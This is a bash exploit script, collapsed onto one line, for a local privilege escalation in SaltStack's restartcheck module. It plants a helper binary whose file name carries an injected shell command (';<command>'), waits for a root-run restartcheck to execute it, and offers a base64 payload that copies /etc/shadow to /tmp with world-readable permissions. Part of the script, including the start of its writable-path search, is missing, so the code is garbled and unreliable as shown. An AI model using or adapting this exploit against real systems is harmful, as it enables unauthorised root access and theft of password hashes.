#!/bin/bash usage () { cat </dev/null | grep -v "$BLOCKED_PATHS\|$UNSUITABLE_PATHS" } create_helper () { if [ -f "helper" ]; then echo "Helper binary exists" return fi cat << EOF > helper.c #include #include void main() { FILE *fp = fopen (" (deleted)", "w+"); sleep(9999999); fprintf(fp, "1 SaltStack Local Priv Esc Please"); fclose(fp); } EOF if command -v gcc &> /dev/null then echo "Compiling helper" gcc helper.c -o helper rm helper.c else echo "Error: gcc not found, please compile helper program and copy over" fi } while getopts ":hw:c:" opt; do case $opt in w) WRITABLE_PATH="$OPTARG" ;; c) COMMAND="$OPTARG" ;; h) usage ;; \?) echo "Invalid option -$OPTARG" >&2 ;; esac done echo -e "################## SETUP #######################" if [ -z "$WRITABLE_PATH" ] then echo "Searching for writable paths" find_writable_paths echo -e "\nNo writable path was no supplied (-w /var/lib/php/sessions), the above paths are writable by the current user" exit fi if [ -z "$COMMAND" ] then echo -e "No command provided, using default" COMMAND="touch hacked" fi create_helper $WRITABLE_PATH if [ ! -f "helper" ]; then echo "Error: helper binary does not exist" exit 1 fi echo -e "\n################## CONFIG #######################" echo "Writable Path: $WRITABLE_PATH" echo "Command: $COMMAND" echo -e "\n################## EXPLOIT ######################" if [[ $COMMAND == *"/"* ]];then echo "Error: Cannot use / in commands when using the filename method\nWhy not try base64 like dis (copies shadow file to /tmp):" echo "echo Y2F0IC9ldGMvc2hhZG93ID4gL3RtcC9zaGFkb3c7Y2htb2QgNzc3IC90bXAvc2hhZG93|base64 -d|bash -i" exit 1 fi FILENAME=";$COMMAND" # Move helper into writable path mv "helper" "$WRITABLE_PATH/$FILENAME" echo "Running: $WRITABLE_PATH/$FILENAME" cd "$WRITABLE_PATH" "./$FILENAME" & EXPLOIT_PID=$! # Test if we were successful echo -e "#################### TESTS ########################" echo -e "Exploit completed, lets test if it looks good:" echo -e "Exploit PID: $EXPLOIT_PID" echo -e "You should see command injection as the process name below:" ps -aux | grep "$EXPLOIT_PID" | grep -v "grep" echo -e "\nThe process should hold a file descriptor to a file ending with ' (deleted)'" ls -lah "/proc/$EXPLOIT_PID/fd/" | grep " (deleted)" # Wait for restart to occur # This can be triggered from master using: `salt '*' restartcheck.restartcheck` echo -e "\nIf everything looks good above, then we just need to wait for a restartcheck to be triggered on the master" echo -e "This can be done using the following command on master: " echo "salt '*' restartcheck.restartcheck" echo -e "\n################## CLEANUP ######################" echo "Deleting helpers binary" rm "$FILENAME" echo "Remember to kill the process and delete the left over file after you get root" echo "kill $EXPLOIT_PID" echo "rm '$WRITABLE_PATH/ (deleted)'"